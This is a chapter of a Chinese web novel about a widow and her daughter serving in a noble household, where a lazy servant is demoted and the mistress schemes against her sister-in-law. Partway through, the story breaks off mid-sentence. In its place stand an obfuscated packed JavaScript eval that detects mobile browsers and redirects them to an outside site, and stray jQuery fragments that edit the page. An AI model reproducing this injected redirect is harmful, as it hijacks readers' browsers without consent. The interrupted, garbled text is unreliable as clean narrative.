20.内情

作品:《从烧火丫头开始的发家路

    蒋珍娘看似没瞧见王婆子,她伸手把手里的吃食递给门口的小丫鬟:“我晓得了,麻烦你们把事情转告给我,这是我女儿做的吃食,你们尝尝。”


    “是寒姐儿的手艺?那我们就不客气了。”两名丫鬟笑得越发灿烂,喜滋滋地接过纸袋。


    三娘子院子上下都晓得新来的蒋娘子是个好脾气又勤快的,而她的女儿更有一手的好厨艺,尤其是那些小食怪教人喜欢的。


    今日的吃食长得有点奇特,蓬松的外皮,稍稍用力一捏便会发出咔嚓的脆响声,


    两名丫鬟常在市井里溜达,却是从未见过这般的吃食,拿着左顾右盼,又嗅了嗅气味。


    带着点油润的香气,没有旁的滋味。


    蒋珍娘瞧着,笑呵呵道:“你们快尝尝,这物是炸皮肚。”


    两丫鬟相视一眼,想着前两日尝到的美味,不约而同地尝了口。牙齿碰到炸皮肚的瞬间,如瓷器碎裂的清脆声音在两人耳边轰然奏响,直让她们的心尖颤了颤。


    放后世,这叫膨化食品的冲击。


    两丫鬟瞪着眼儿,死死瞅着手里捏着的吃食,眉梢眼间皆是震惊:“这物,怎能,这,这,这般酥脆。”


    独特的口感让人欲罢不能。


    两名丫鬟似乎只是感叹一句,便又捡了一片往嘴里送。院里的人注意到,也忍不住走上前来,你一块我一块地尝了尝。


    “呀,真的好奇特。”


    “这物……莫不是猪皮?”也有仆妇见识多广,仔细打量手里的吃食后发现这酥脆之物的原身:“灶房里煲的三鲜汤里常用发皮,我记得那物便是炸过的猪皮再泡发而成的。”


    对于这种猜测,大多数人都是连连摇头,不敢置信:“不会吧?那物可是软趴趴的!”


    “对啊,肯定不是一样东西,发皮吸满了汤汁,软软糯糯的,和这咔嚓咔嚓的东西完全不同。”


    蒋珍娘噙着笑,并未解答。


    与叽叽喳喳,关系和谐的诸人不同,被人晾在旁边的王婆子都快疯了!她不可置信地看着其乐融融的众人,先前那些细碎的声音渐渐变得清晰:“……王婆子还不知道啊?”


    “噗……笑死个人了。”


    “日日不来上工,要么就偷懒耍滑……三娘子已经够宽容的了。”


    “要我是她,早就羞得不出门了。”


    “那日还和媳妇打起来了呢,哎呦那场面……”


    王婆子气得浑身颤颤,怒上心头,她伸手指着蒋珍娘,破口大骂:“你这丧门星,克夫的贱蹄子竟敢抢我的活计——!”


    王婆子的嗓门极大,尖到刺耳,扑上前便要撕扯蒋珍娘。


    蒋珍娘早就防备着,脚下灵活地绕了开去,她不提,而后沉声喝道:“王婆子你疯了不成?这是什么地儿,若是扰到娘子休憩可怎么办?”


    周遭丫鬟仆妇听蒋珍娘的话语,登时一激灵,忙不迭上前拦住王婆子。


    “王婆子你便回去罢!”


    “人蒋娘子也没说错,你在三娘子院前这般嚷嚷,扰了主子休息可怎么办?再说了替了你的职务也不是蒋娘子的意,是你数日没来当值,闹得猫儿出逃,惹出事来,娘子才动了怒的。”


    三娘子院里的仆妇瞧王婆子还要扯着嗓门嚷嚷,忙开口说道:“其他不说,你是真病还是装病?”


    “我……”王婆子被问得哑口无言,脸涨得通红。下人院里人尽皆知她请假的原因,眼前的婆子何必来戳她的心。


    等等?王婆子联想到最初的事来,瞬间双眼圆睁:“好哇!你这心机深沉的奸诈女人!那日污蔑我偷窥,就是看向我的活计,想要把我撅出去!”


    旁边苦口婆心劝的婆子都无语了,在旁连连摇头,院里谁不晓得王婆子最好管闲事,平日仗着自己是府里的老人,对着一群小丫鬟指指点点,稍稍用点脂粉,或是选几朵绢花都得被她嘴上几句。


    “你别怪蒋娘子,问题还不是你连自己的差事都做不好。”从院里匆匆而出的是徐妈妈,她见王婆子横眉竖眼,嚷嚷个没完的样儿,直接说起王婆子的问题来。


    “徐妈妈!”王婆子见着她便是嗷的一声,眼泪都快蹦出来了:“我在院里没有功劳也有苦——”


    “苦劳?你平日上工时不也是有事没事就往家里钻?要不就把事情推给旁的小丫鬟?”


    徐妈妈打住王婆子的话,只觉得王婆子实在糊涂,白在府里呆了这些年。


    且不说活计做得一塌糊涂,连人缘都是差得离谱,出事以后愣是无人求情,也无人把这事告诉她。


    徐妈妈都懒得与王婆子解释内情,只沉着脸道:“你甭在这里闹腾了,娘子说了你若是不想留府里,往后便回家里去,若是你还想留府里的,便去洗衣房做事罢。”


    “不,不,不……”王婆子哪里愿意,因着自己请了几日假就要被赶出去?她心里悔恨往日贪闲,更害怕真被赶去洗衣房做事。


    要晓得就刚刚,她还在王媳妇跟前瞧不起洗衣房和灶房的活计呢!


    王婆子不死心地往前走了一步,哀求道:“徐妈妈,让我见见娘子,求娘子开开恩,别把我从院子里赶走……”


    “娘子发了话,哪是你胡闹就能见一见的?”徐妈妈见王婆子还要闹腾,面露不耐。她看王婆子还想说话讨饶,沉着脸喝道:“还是说你两条路都不想选?想挨顿板子再被撵出府去,还是想全家到乡下去?”


    徐妈妈的声音重重落在‘全家’二字上,她晓得王婆子的儿子正在三郎跟前当值,万万是不敢牵累了儿子。


    果然,王婆子听到徐妈妈的话,再看跟着徐妈妈的两名粗使齐齐上前,登时紧紧闭上嘴,一改往日的嚣张模样。


    她红着眼儿,担心再纠缠下去会连累儿子的前程,垂着眼泪往回走。


    “你们跟上去看着。”徐妈妈望向王婆子离开的背影,想了想,又使着身后的粗使婆子跟上前去:“若是她今日去洗衣房做事,便与那边的管事妈妈说句就留下她,若是她不去,往后就别让她进府里了。”


    说罢,徐妈妈又转身看向蒋珍娘:“没事吧?那王婆子是个小性的,院里内外的人多多少少都被她骂过。”


    蒋珍娘先是一愣,而后哑然失笑:“徐妈妈放心,我没事的。”


    “真没事?”


    “……以前我也挺在意的。”蒋珍娘见徐妈妈难掩忧色,抿了抿嘴:“后头有人和我说,我夫君比我死的早,那是因为他福薄,承不起我与女儿的福气。”


    “事实也是如此,瞧现在我和女儿到了侯府里,日子过得蒸蒸日上,比过去不知好了多多少。”


    “您瞧我进了三娘子院子满打满算才三日,三娘子便又是赏了缎子,又是赏了吃食,我又有何好愁的?”


    徐妈妈闻言,叹了声:“你是个豁达的,想得开的。”


    她见蒋珍娘的确不放在心上,与众人打完招呼便去院里照顾猫儿,也转身回了屋。


    两名丫鬟打起厚帘子,徐妈妈刚走入其中便觉一股热气扑面而来。


    屋外冷得厉害,屋里却暖如春日。


    徐妈妈瞅了一眼角落放着的炭盆,抬脚往里屋行去,不多时便见到正歪在榻上看书的三娘子周氏。


    周氏相貌不俗,鹅蛋脸,乌黑油亮的头发并未挽起,而是扎成辫子落在肩膀上。


    在屋里,她只穿着一身薄薄的杏色绣花半袖衫,连里头的窄袖衫也未穿,透出豆粉色的抹胸来。


    她身侧脚踏上还跪着个半大丫鬟,正为她敲着腿,另有一名丫鬟手捧果盘,另一名


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516420|152976||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    丫鬟则剥开香橘,去掉白丝,再往三娘子嘴里送去。


    周氏推开丫鬟送来的橘瓣,坐直了身子:“徐妈妈回来了?快到我这边来坐。”


    徐妈妈笑着应了声,上前侧着身子,坐在榻边上。她接过三娘子递来的橘瓣,而后细细把屋外的事禀报给三娘子听。


    “我瞧那王婆子,是个不知好歹,许是浪费了妈妈的好意。”周氏撇了撇嘴,语气里带着点不忿。


    按着周氏原本的意思,是打算直接把王婆子撵出府的。倒是徐妈妈看在王婆子在府里做了多年,加上儿子又在三郎君跟前做事,劝她让王婆子留在府里,打发去洗衣房做事。


    “回娘子的话,娘子愿听我一句劝给她条路,那已是她偌大的福气。她若是抓不住这福气,非得往苦地里去,那也是她的命了。”


    说到福气二字,徐妈妈又想起蒋珍娘的话。她与三娘子说起,倒是让周氏生起些好奇,示意徐妈妈到跟前来说话:“这话真是珍娘说的?”


    “千真万确。”徐妈妈笑道,而后又补充道:“蒋娘子说是旁人说的,我也没细问。”


    “我瞧着,说不定就是她自个儿想的呢。”周氏想了想,笑道。


    曾几何时,她也想过这世道好生奇怪,凡是好事都往男人身上揽,凡是坏事都往女人身上推。


    比如出嫁以前她哥不喜读书,娘便苛责是嫂嫂纵着哥哥,把哥哥带坏了;待到她哥读书得了师傅夸赞,娘又说是哥哥天资聪慧,才有这般出息。


    等到自个儿出嫁以后,她发现婆母也如出一辙,连话语都不带改的。她与她二嫂为了官人读书上进的事,不晓得挨了几回训,好似背不出书,考不上的人不是二哥和官人,而是她们妯娌俩。


    “她能有这般心思?”徐妈妈迟疑。


    “毕竟以前也是跟着姑娘过的,通读过书的。”周氏晓得蒋珍娘的来历,心下觉得她是个有想法的:“要不然也不会丈夫一死,便领着女儿跑到京城卖身了。”


    徐妈妈闻言,暗暗思考,想着蒋珍娘刚刚话里叹来府里以后日子日渐好过,难免唏嘘:“蒋娘子也是个可怜的,要是长辈没起那些心思,现在早就跟着姑娘去了杭州府,日子好过得很。”哪像现在,拿个三等的月钱就满足了的。


    “也是。”周氏附和道,不过说到这里她又想起另一件事,拿着汗巾子捂嘴:“你说说看,大嫂也够狠心的,好歹珍娘也算是姑娘的奶姐,怎就让在洗衣房里做事?要不是徐妈妈你恰好碰到,又正好想还个人情,咱们还不晓得这件事呢。”


    周氏不是没想到,大嫂赵氏许是压根不晓得这桩事,不过谁教如今当家的是她,安排蒋珍娘去洗衣房的也是大房的管事,这错当然是她犯的。


    “可要与老太太说一说?”


    “说她做什么?大姑娘刚出嫁,大嫂气势正凶呢。”周氏眯了眯眼,她当初调查蒋珍娘只是想瞧瞧秉性,没想到却闹出个大料来。


    周氏动了心思,留下蒋珍娘,却没想这么快就把好牌丢出去。待到老太太与大嫂又起冲突,那时这副顺子才能变成王炸,就像是沸腾的油锅里落下的那滴水,定然会起到决定性的作用。


    至于现在?当下的她只是单纯觉得蒋珍娘心善,而给予提拔罢了。


    周氏笑眯眯的想着,当然她也不会亏待了蒋珍娘:“到底也让她受了惊,弄玉,你拿钥匙把匣子开了,拿两锭银子给珍娘压压惊。”


    “另外还有昨日新来的绸子……”


    “对了,再拿点果子糕点……”


    待苏芷寒晚间回到家里,便发现蒋珍娘正坐在炕边,美滋滋地翻看布料。


    她定睛一瞅,那是一匹藕粉色的绸料,苏芷寒上回跟着蒋珍娘逛过布料行,眼前这匹绸料,市价起码得三四贯钱。